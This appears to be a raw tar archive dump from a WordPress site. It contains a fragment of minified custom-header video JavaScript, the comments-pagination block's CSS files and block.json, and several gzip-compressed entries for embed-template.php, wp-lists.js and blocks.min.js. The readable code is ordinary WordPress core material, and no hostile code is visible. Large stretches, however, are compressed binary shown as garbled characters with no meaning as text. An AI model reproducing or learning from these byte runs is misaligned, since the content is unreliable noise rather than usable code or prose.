t=this,e=document.createElement("div");e.id="wp-custom-header-video",t.setVideo(e),t.player=new YT.Player(e,{height:this.settings.height,width:this.settings.width,videoId:this.settings.videoUrl.match(/^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/)[1],events:{onReady:function(e){e.target.mute(),t.showControls()},onStateChange:function(e){YT.PlayerState.PLAYING===e.data?t.trigger("play"):YT.PlayerState.PAUSED===e.data?t.trigger("pause"):YT.PlayerState.ENDED===e.data&&e.target.playVideo()}},playerVars:{autoplay:1,controls:0,disablekb:1,fs:0,iv_load_policy:3,loop:1,modestbranding:1,playsinline:1,rel:0,showinfo:0}})},isPaused:function(){return YT.PlayerState.PAUSED===this.player.getPlayerState()},pause:function(){this.player.pauseVideo()},play:function(){this.player.playVideo()}}),i.wp.customHeader=new o,document.addEventListener("DOMContentLoaded",i.wp.customHeader.initialize.bind(i.wp.customHeader),!1),"customize"in i.wp)&&(i.wp.customize.selectiveRefresh.bind("render-partials-response",function(e){"custom_header_settings"in e&&(t=e.custom_header_settings)}),i.wp.customize.selectiveRefresh.bind("partial-content-rendered",function(e){"custom_header"===e.partial.id&&i.wp.customHeader.initialize()}))}(window,window._wpCustomHeaderSettings||{});14338/embed-template.php.php.tar.gz000064400000000527151024420100012607 0ustar00��AO�@�{�W�
۴@q���hkjl���&=��2R`��P�w�6�T���N�`�L�^"stc�foW�4G#�@�!/�b])Sű�6BVE����Oj�"�"4.�+�%�*�%:*Q�#<⌱����;�`�����>x�V?OeJ�i�o��_Pd���YЃ)�%�x	���Dfj���2AXq��$��i���T4��K����4��V�rV��Ujs��5�*���"ǃ;��WHx�4: �����F�e�oa�fxҜZ���z~;C�n��>,�+p���ֆ�ز4n�T#L����
������D[ZZZ��V>�14338/comments-pagination.tar000064400000043000151024420100011674 0ustar00editor-rtl.min.css000064400000001417151024243250010126 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-comments-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}style-rtl.min.css000064400000002003151024243250007770 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center}editor-rtl.css000064400000001467151024243250007351 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-comments-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin-bottom:.5em;
  margin-right:.5em;
  margin-top:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}style.min.css000064400000002001151024243250007167 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}editor.css000064400000001424151024243250006543 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-comments-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin:.5em .5em .5em 0;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}block.json000064400000003025151024243250006527 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-pagination",
	"title": "Comments Pagination",
	"category": "theme",
	"parent": [ "core/comments" ],
	"allowedBlocks": [
		"core/comments-pagination-previous",
		"core/comments-pagination-numbers",
		"core/comments-pagination-next"
	],
	"description": "Displays a paginated navigation to next/previous set of comments, when applicable.",
	"textdomain": "default",
	"attributes": {
		"paginationArrow": {
			"type": "string",
			"default": "none"
		}
	},
	"example": {
		"attributes": {
			"paginationArrow": "none"
		}
	},
	"providesContext": {
		"comments/paginationArrow": "paginationArrow"
	},
	"supports": {
		"align": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"default": {
				"type": "flex"
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-comments-pagination-editor",
	"style": "wp-block-comments-pagination"
}
style-rtl.css000064400000002072151024243250007214 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}style.css000064400000002066151024243250006420 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}editor.min.css000064400000001362151024243250007326 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-comments-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin:.5em .5em .5em 0}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}14338/wp-lists.js.js.tar.gz000064400000012620151024420100011153 0ustar00��]ms�F�ޯԯ;���)H�d�B��S,o�UN䳽w���bJ�A�@�Z��ۯ��3�%����JY$0����/����l·�9/.�ҭ0�'�y�Äi��ͦ�l<Β�a6K�+?�&[���8
�Yċ�w�L�,�w�_?�����k�wvv�v���hg������o��ý����L�n?��r`�9x�?[�|�ƾa�����d�S���ֶ�agIv$,x|�����WyW�y0a��k��9[g��N���T��giX�Yڇ�z�"�����J/��!Ï������"�yB�y1���i���(�̓��b��,�r�(�yks���ji�0
BNҊ�$�Z��̈́ONyήŸ�xqk�W����X����������r�a�Q�tO4��2s�
{��V�E��9g�޼y�&�<�"VflV��)�������f�ecV3��	OK��\�H1*�0m�]�I�N9+�,��qډ��>�~{�ᢔ(
f'ڗ�A	tRO^�faÙ&�I��4(Q��ht"�Pj��as4�=�`�)�<�8�&�����	jC���'�� nOt"vy��g!� Usg2{�a��4K��RFq�&��Wꦇ(z"�1|vw]�/�����EN�T���B9!��
��ܥX��`5
�d��Vw+ܡ�6�.\�$�A���W�|�����C,.�$���4TE��W���8�Ȼ2��K!8ą}�ٛ�^<f3���F
�vx�m\��UW�_��$Py�,�1V!H���e� *|�{0-S��	Lp��
߀����@͝�΄��oF�Mn�f�A9/gyʮO�Aߜ��9$0�
�&��e\��b�4��@�
Y:K��v����v����SSҚFr�$�e�w� 
yB��Q-4&��#1k�o=յ96ӧ�)��V��Ψ�q�@j��,7Ԧ�몸`��[V.V[�:����_~zA�$�ǣW*��
.�̮�R�"v�/x��J�uS���~y�j^���q��$A�ge9}�T,�e��h�����Z���!�+f��3�I��G�'x	>�?x�hfK?^	K*@�ؓf_�5��\�Z�A_-�R��3b[���m�Pc�����"W�C�*���E�;wd=��;�R�7)�3�i�Y��Ct7�O��yTKw�sUդ�/��u79�‚�z�Q�[�F�P��kd#py�g?�\�i�t������_��[v$3j'3��y�aP��Og���v�~q�e9�e���
*�\�E�(�5�D�܀�R������ie��>�f���1��s�K�JUnMPՑ�S]PF ��Ǻ��G�F3���$++b�dՎ�>4��R�A�	����)g��(6��O6��A���>j��<Ը�7��{�j�#�7��؃�xԽ��¤�.��>}B��a&xI���`�@�&�k[��F�' �f��Є��/�"�9$�;���c��2Q�/��QP"�c�K0�&����;��T4�y��	��;C��Z~����|�����C��i0�ܷh?�ӎ'	��`
K�
����hW�I��Hݺ�����=�"㠌/ 9�ypU-���c�z�dC�ߎ�O�&;D��Ȁ�/��,�(
;H�*ۆY."�	Y��c�\/�+�{R�2J~��W������X�3<�DD���sE�H���Do�=�er>U�����51���w
�{H� �b�p����f(^�4?Pr,���E�ᔹ���M��BV����h�����i�4.C�G(�Q�\��"����md�ϥ�ߕFp{%�^̒����cǖ���y���S�':�!ޙ`��c��e�2эI͕6�
fW�(��b�,{���:%`H���	j�æ/����)�ĩ�I5b�'j_����RJ�^l�3n�L�S���!��@����=��3~�����ܗ`gO?N�B�����OP$1z`�}���pX�0X�_L�����fX����@�� ��i3�1۹	�fd��i�sp<_�UN
~N��$���۴�!Z
�K�$������[T�M�<j[���I��h �c�Jm����P�
B
�P���k#v*ك����X��?Š�|@
�#�&I[�
ኄy���g	�7Ԅ��k��ږ�������p�nQà`�˔5�F#橱{ʤW|�<���,m�zn�Tᵰ(���@9KoI���|��~�^������G���-�\��n�\*lU-2��W���*M�L�� 
(�
�
])0���"h��$��]��}`D�^r[E9�<E�u��c�H�sݚ���=��jYD���V�pt1�ƥ��E*X
~Ƕy�@�R��lW}l�T��\ڬ���ȵdy�@J�s���+�H��Z?���ǔ�W��&��dhP���ֺ�@�����h�e�ѡ���oB��7���$.i�琾�4	�,Ѥp�y��U��h������#��MKd<�aiT,a����*���V�1(��
L�=F/Եn.̺O��7�v6�CgiO!=�#�T�HLM%	���b��-L?0�lH�3\�C:G;i(X��/	�rK·" �TƬ���Z
�M�?�7�o�kw+%����'��������w�Kے�Qէ�^���P%(ׅ"mo�3:6�ۛߝ<ت�j��ɪ-^%]!��Xlּ�~S7�Ε��
�У%4X�4Ka� `��V5}�_SCu�l:D��r��T��WI�)L�Qj	��Y#�u6�5,������8��3#N5]"ޛfE,�5T?�,7Mby�R����ȼ�%�sq�n�O����\�M�!9,y��/����A�u\ZDbC�OS\y4��E���ǹ��v���:̰Qr˪iSd��6���6o���g���k�d��^��DZr�kB��J^�5tlLL�Ҍu0���HP7�X�P�p�
k7�&�E�]1�w*�=ޕ��&�=�ÿ/�n�p�����w�Z�.x��Ug+��Zպ������U�Q��c����U�6(�*a�Ԧ���X��0��0���w���"s�k�1��C�E� ��X,B�mX�o*��%���8����j��v2hϣ)��n�t.S#�+�5�7M�]��?���=%z�������yv	�>����&��&p�(#n��	�Ff-5�;EG�TR:���:��N�D5��E0�G���Z�.ߟ
W�ρU�����@�FLOp�w vHi�Tn*tB[��z�AvGOa�B�a8�0��<b�W�<+��+z���*�!U����u��b��U���i����Z ���ғTU�]��n���)��9�q�ƍU�С@9���WǠ�U=��
���OK�#K��N����
����� W���s��N _hWa�g��2;;K8��7�(���.Rge�c'�&�[�De%�����;N�_6�F�%i��4�xf
����V����qP`[�j!+���-2TJ	6Hg�j��zw!��'ݖ¦���~��ݿ���fU�Ϻ.Or�����O���Fď���W5�/ m@�y6�yyU��Q������>9����gx��o�@3|ì��$M[���%ͦSaA�[���鈋�S-yt��g6�[_�ޤ�%�0��adQ=O+	�9@<�$��>&�J���Mq�ۧb�b��b���\�{��~+��1�H�]�@� v�鈴λҬ��Ԛ�������Tb��OxzV���T�l��%M�7Z��'�j	.����6�i�S�S�`���H�W����J������<|�����,�~���_|v����A���ǞZ^+�ְ���,YY�6�΀�V,�7�?$�7^�{�%��Mݏ6���!v����%�$RК,�.�MW,%�9��Cn�[a
��8r�嚉���K�R�ᕬ��0\�����m�z>��8��M2��k]n�y#�\l'������|@���-��}��s�����{������v�o����>cQW�O�"s�F�x���f'���9������R�+x0
C�g���V�0���Bv*b�:�E�wT�6���p�]眜ZB[��،�������c���`s����˸-]��]l�"�����׾�wĵ
W��{<fl�7�y��+��Y�����һ�W��r����x���/�">Mp�؇Y�+�tdž���"�����Mn�,�+��Ͷ���ewCD�R�_�_e).@�1n���c��&i��j�B��DQ��H�j��q'_d�N���Cꦛ�๚�zK��H����@Fu<�@!�
/��2�L�p��_�dMg|ҵN+m`/q��,����`���?q��}�aqk�V�c���,[@Hwj���yjF�vu�{sޟ�ΰ�n�{g
X��l��C�R��x�0hh��œZ��+]�3+���+j��|���f��ܫ
����q�����o,/�K�?	
��LT��o�e��p
U�%®h��Y9��% ��%#%�`'���^2©�8?��G�n���l�ԉ��اF���
�ER�<z���Ԟ�|�i���9����zB
䩧���| �㢃��v���A�QΌ�摼'V�:��Gs�wt���l���~�BF<3FB_���h�;dߑ�t�?�����r���On�:��X���)i
�iHw	_�D�_��06-�0X������0�"�D�s�븉�\Ԕ�W8�,�<�W^�lr�qs1�k$�n�
���U��psqVdd;���MV	���g�|��k=DҌㄪI�!D_���a�T(6�	��E�RZ�9�Ʒ�̦��Oo)V���ջg�a�i\6Z�(�>�Ѭ�s~���a��5�s�g����|U�v��b�<�^���#vk	������~���Z���~�|�;t�H�FM�!��HW�t~��Q����ve�W{Q�ߦ,{�n��؟Jd�ݺ�L-���5r�G�>�>�^�kʬ߬kqS�pi�&��݊�v�1��'|�{*"N�S�޷Z�k�-���vV�>XzSv�U������ct�ѝ���}Lע�7��M��m2�U^][�E��7���~�-k��T�[�F�[8�ii�gn۶�bj���kHY����+k��]����5��3�����U'��s��az�^'~u��
��i�v��q:W@���s
���o�ҏ���BI�vfid����꯭�;@�c��98���5v��8k+��/��4�M�o���'�2�1�8iB���{�EvTDO�����[�?����F�m�`�Z4�b�N����b_��Z����/�/�/�/�?��o�Քj14338/blocks.min.js.min.js.tar.gz000064400000151043151024420100012215 0ustar00��{�ŵ0?�O�i���ӣ��
���c���ر
$�CK*I��n�ݚ�0��� $1���
�r�����	����y?<�}?»/U�խ�fl�9�wp2�W�ڵk�]�vu���k�"Zk=��5B�'���E�+\��ۃ~4h���F0��R#�ͭ�g=��4E4�x4��x��
�R��K�G�'��<�wp���������{��{�������ܿo��=��|a~�Ŀ�A�!4�_�����L�w������ fۀ��fa�ܿ�v���Desa~�|�5���E��NhS���UE�`������B��Ba�0�wvaav��=T�.ko��BP��5�D!�C�[�Xc\�z^�t1�GN��Mq�Ь��-wЍv�Q�Zpw�l��"��#
2KA`��zNjE��E�m6a\qPh@}�[ˉ7�P������������B�?�Z�f*Y��C��.���f�-p~�-)���T8�F�TȍЃ�u���%;n��e-�l�pNıJ	�K��2��5
�#A�4�[V�ŕ˜Bw��N��[��8�i�S�C#kLj�A���^k�
ّ#n�kw�P0�l�/��n+{��F���r
�X�~C8T�UhtŠ8`]�%�ڻG���9�n�ջb'�w��(c��T
0иShßA�fb�Q�mX}����hr��uD��a�t
A����n����E��k�i�b��Nz~�*��n�ONaw������"	̴!�1Ed;r$r�z�x
�Y�Tx���O<xy���Fĭ�l�O\�	��/t�\i����X�E���)N���n�G��)�I���ң��&\%#���^��<�<
���_�i��w��4��=�����=�]��� �����)|��ɉZ���J._�'0`㑁
4��I@C�{�k>�͇|����lO���@��:�)�B��k4��k�h!/����uU�I�3�@/���vg�s�*T��~��eRw���1.r��j��^��2$R���j�?��q���n	i��)O�yt�\�A�
�B㫍zAwNzk��5O�O�ާ�º�MD��d�t��65D�&ll5��@�����r[Ztpُy�zǵO�&�0�p�*
7|/�;#��r�ϙ+��q2�B��sD��ynP�bه{�����P<1�`��)�
�_DH%"Yg��Q�/��1�Q!�B�_���\Y�T�X�:��{�)q��!�����4�c6����qܦ�S�$Eͦd���B]��B����z��M�务J������~�;�x�ى%�'@��ޓ�&U���X�8�G�9�����J7v����mڀ�-�T�]*�F����=�uۊ�_Pכ��hЁ�l?c��>�1��q.`���LL��(Y>B�C����]�=�m`��#d3p
��;~��hU���ETYs���Mр��[��Qh}�#�aE=(����%(r,��pv]�����:�X4���T���R�p�@�ϟ:y�mo�0�W�E
P�T0(��T.nzkGZApx?r��^�#�,PVEsK�%��1b�Q�,��ȝe��hC����Yc�14]Ĝ
����f0�|�����`�c���Tw���ǀKE�ƔW$�:)��
��FH<�š������Gr�����{����v�2�aAꍥ��0B.����Øt�1���Ճ�b7ow��J��>�U
��B����y�qE���2k����?�ǿ����)�fgge*~٥�=O|��8d?&f�A����b���!Tp��`�赊S�JEء���������D
��blۤ�+��E�S��&$|�q��F��3!Ѝ0�(���t1\�k����nۋ��p�5�P����4*Aqj�v�k�A�v-gP�d�^�R��#�@�d	�5��NJS<1DHFVi&bR$�P����p,j(&q�wz��O�z+��X���"���ÿ�y�B��n��ih�FF��v��,GR��D���w>k��,�9�\e^����ˆrD�(���E+m��"
q���a�EԪ��E�*�f��9
���j-�!�
�L<c����q��UN��D'[�_�N�#@�W���[�.t��EG���(
{k�(*ˢf�����(ӎ;�33kp�J]}V��
f�r��"��R;+�?��5UAZD<R��/Q�*0
~�:U�f�� Bڎ$�t
�A��š�6����1�sD;�Q	����ݗ�R�0�U��J���ݭ��:Ͷ�
�˟��`]��]��6���mh~f_���v,�kGSگ1��MQ���!\�OSx2T�R�acf7�5~���F��'��.<�%
k�Y[C-��;���w֤��<	I�ބ(cZ�*�v3�2F�L�~�"�i�����&H�-����^g��Cх�4�G-�$V��P���ɽE�����7�� `&�-XT��t6�Xn�B֧4%8M0m�!#�D0�HZYbYTׅL|W�$��@��Y���Z���`�[�d��Iѽ�GH�j��2bR!����5�M�T�(i�ehj�&�'J�H_FHg5��pZ�gf�iBȩ@Y�g%ij��t���Ȑ�L��>���9�6Ku�iD�
���U�h�1R�*C�ǮK:��a�˓X�#\u�btS������q���Gs.�oo-��ٙ�qqޞ������n)��#�&��b��6Qh��\�1�h;���Qek�J`v`�/ �9�����l�p�d)L%���bd��ٶ��º�{V+ڲ�}*��w�K�`�
BqDX">��|2c��I�� �r��%g�y��
���%�m+�%���=��F3��8��z�Tc-���혂��z^s��s��3��Nsm$��hNY��#�����u��4�P؍��a�,b�DEW�M(� d�ʜ\�3T�F���c�̕1|5eNv�_T�~�PP��v�K̐�ȐǕ带t�EG��B�x�~�L��ňa��u��Mة�0<�E��K9��)��L�$&���A[H�0?���w�/r���A���:5s%��tEi�
�b,!�L-�J�̧Ő��mN�#�vkQ����-a�\�Ь�>Y��\��,�4U��\���
������i�ٶz�e���U�m5�����Kn��s”�B�ؐ]����R���L��M^��V�H�%W�T��Qn��
�A(�ޜU/|l�--�+jnl���D&y83c�E;�"i�*r���f �jEB��|��j�%�
H?*yH�U�i}d�����)����	���W�[^��Y�[Y)=:[�k;�e'�+��I	�F�t^!�Nt\�_�?>O
q�nm�������Hqyey���R��C++�,`�j6��<�_�����y`��>1�z�d��7�2𹧨IT'S��i�-.B�v[�
Nw)�:lv�͑GR�n�O�Ӱ��@ZX9~��u<'rN��omY�g����i�V����i�$�����!3�M:��ٶ�~*����UY�-6�MDXTey�&0!��ZDѵ_�E��m33�D����nD��YL��-Y����Tav6�7��1cd�1w*�]ъ˛d:T��7����q��b]��U�
�T������w`;e�d-�J�A�)v`�(��5�w�����QU\[c[��R�Ί� �@c�n7�����s8.@��䇃D{��.wrY�������J�J4.'���T�^6woLF�3�G���|�kR��%�m+'��ޚ�ԬƋ��9)|H8�+v �t+��/T�=2����*��2���σ������Nh}�y��شe�X���9���MA�{��9�H��,&��l�,��tvad�9�IJ3����l~��T���ƙ�<�djh������	�������u�'��hئ�S�˅��B�@T�Hڼ$��)ۏG�F�
0ޓz	�כ���n���U[�@٘�X����R$ܐ�,��9R���3�\�M��$��cI�_zȲ9�y�cF�v�䄒��l���ĵl�K�g�.�w�Z�Ek���8�Y�.Ņ�cKİ��͕`s/����w���E%^�e�)��Э�{(�~3聈]+*�9�Tꢨ�GJ�T�彘��� �@��#�H�s�ɕ���ߜ�PՉ�Ve�	+�4nZ��	ȑ��Ѩ\,Ƴ�b	5�)�3ځ��9�tE�	5e����@�F�"%fT��We���X�p��ޓ��
�;�Ƨ�c3�D"���M�<���׍:G����e��������x�E���l���w�Y˱f�e�Y������{�����?�,Q�JX��M�K�_�&$��	�@¾0'�[�p�B/��r\�x��w���:���_
j�5�l����Cߺ
!��]��>��{�x!4닲��+�p�]7�6��"��%ƈ^݃&>�����	�`�g��.K��;AH=}��<���5.�E�
��!���c7�O��u��ƛAC��
|��]j�Y�7��������bPpe}�2@B��㗾bij1�*�I�O3�>�$��l?�f��u5�4���
��{#{�-TU��.'�Z}�F
���Sf
�*��GR�凤F�������� �)��F
��O�bTן~!���OIl��⋩�}��/%I#ߺ�_�z��D�N�&j\~�>��c,������-Nhy
\�v���n!�Gq�'�k��;]5��Jٮ~#{�Ԉ�q�[�6z����}�{�4�f@K�-ϧ~EIu�N=��{�^�q,q�O2���p���&cT0����_��V���0�졡E<�F��n[]��|�9q,V�0����Kkwd���7_����FG^~Fc��E�y�7f�*^����7����s���g1��?�%
��+��}�so�w���:��oSD]��I$�f��,]q]��s_1cV{."�w39W�#e���?~�+2���7�C�
���[_�  "M��@P�����E3�NjK���~�oa��ʫ�I9��#G��B�Ǖ�b��>g��K�uv��;AU�ݺ�q�
Tlu��0$�~K1L��S%<0=

L�s뼠�>�4�Əd��v�
��;M�[.
°�]Xmx�`	�~�%(��u��ߪ�}<�/���.𠿮���!��:z˨vNo�c2�dy�/9Yt⟌D߫�6�������i�Z�r�]Gx3�
�W�c4���*
�nE��K��zH��@D�a9ܐ
F��/˰�����o��	$�D�Hko�Sz����e/�w�
����ح~^�ʑ�I���7u���{��J���u_�&Ŭ��J䝰�]�M���o����� �ҡ�"�nw�5���i�Lk%�{�Q��D �Z� ��h�)7��f�[-Z
�w��qjB@G߀5�����-��y#���[� �.��
{^k�W[a�l�ͧ�	t��r���}�$�߼D��yG�j4�b�f�<�t��yᷔ[[��?G�x�*�A���5N�r�pFH�Z]��@�n#�.\����<�K�y��w�i
	�IƸ�^�8��k��`���+?�3���BH)���Cq}Y��0{�/���M&�/��C��gJ��o�}�TwUs�ߧ8�������x��D��U���7���HҤR��iƬ6�5�)I�K_��d�.�Y!#�ejp�0�u󸿢Ͻ�
�w��W�y�[�(��m�������0�#���hܿ੸��T�A?���➎��	��*�
�_�P��6t�y�Ơj�Pl�^[�(��q�:�Mhy�t���N�~o��~���v�7NĚHsqϥ�3`������AH1�n�B�n]~Cac���?ƨ8��J���7����إ�9�J�Є�O_�/���W(@�W���>�d�JA%,�UE3��[��7W���x���k�GJ�S�kY�B�+*D��/��>�x]Ep��:(��P�n/��A������Wd��_U!������*$S�+�$)�pM�d�d�����L����*$S �wS�E��?��CzI�d�d�
�P!���#Xz�|AGaF^As�Wt��^�I�9}��\����/����i�S�ހ8�L*�B�7Sёϻꥷ(�Ԗ�b�k�A��df�0���]�Y\zA�����/��V�ھ�K�6W�u��.ꠇ���ߐz�A,9����j� 1zH����V���FYR{�c�I�_�p;tc������~I���|o����"�������n�)���a�]���]�E�k��Qq2i@��1u��
X�uh���cbC
�{[6�� _ (s�;+� W�B<�ģ� �H������p�-髯)���כ��휂o��<`O�i����f�.���N$�Roh-\!X���
�v8�8YHiB֮����`dz�Y�#Λ�o(
�4��|	�p�[-���!�\MO�tߦ�Tj�~�""$��ڒmx�Ft�� �]J"#�����uƙ�430b�m�L�!}gj���_):B6H����A/�ב~��	� �n�C����"`�nl���
��K9�	�{�!�Ḟ���A�s��
 N��\p7ݶ�	��1��~�CR8�
�_$�:J�دH �Ͳ0�r������)���������of��=�7�^s.��o0�;��%��C=x"cP��b<l^�k��=w�n4n��WThՋ��U~�U����II_��dR��1��a��隞�as5��+��y~%O<�}�����`J��G��~7��#k2�uL|�I���"	b�P�V}h��Ų�7��J��O^�/�7�<ÿ���e
�;��]A@W�c��;��|�mKH��j�n��o���ޕ_c�L�+/a @�;0��,�c�F�&�,�F�x˕:�&��lqs�ڹ7�Gl�1��l�EnR�_�"�m3
x�)�x�~�>W��*
ƭ�PN`☇xVǑ��e��:6�8L�h�_�I���gHA��z��JUF�=���8s���.������]@<h��e�%�D_@,��=�%>~�[\���:�6�n��S���`� �����/���8�*�"tt?Yy�s0;��a��,Q�l�q�\f>~��q��8q]�
7�b�
�M�J�!`ۭ�u��~Un(/�E92r���7�;b��3��o���k/��x��Љ-%�my82t�!9«ߦ讁��3vA���mѼ~
�zg�+�*5ȏSi*�-�7��M�ɒ����t�7G�G+{s|ey5�W�;�1C;��Ɨ?�1�?��F>a�ہAO�h�oo38.:��ۓZ�����(;��ц�x��h��4�̐sF�3�I����3��Û0��G;n�c?	��b"Dƀ�]rT����4`UZ���Tύ�0ț�>(%��P=�BG��~���R�o��
�c; �����U�뢊����Kߐq-�y�N_�*E�V�a���̘\���E;�.c���:�
��1�{�y�B�����)@��,-K��Z^
o"�E�t�v><��j���<
����I���������m��5�RY���5`\��9
D��J���х
�XAS^�I�<���'�~�c��0�n��~c�IL0�(<��F�5$A'pF�Cr��������l�$_�������C`�xGx���.�^�A�������G#cV�,����iwƳ�5yȇlApQ��a��j��A<�#~�O����8�$?��oTD�	=�<�DZ
g=���;�K7�H²��Q��\�M�P:99�^��5��(<e��"r6���g�3�!������I�ȩ�: -�M>;o�`�Y�]���o��C[���e���ʏ_�6'��
�� �1_�*�8�b�$V@��ݠ.�3�AZ��!�@�$Yx�)
3A��n��\2��>w)�I�)��BOj
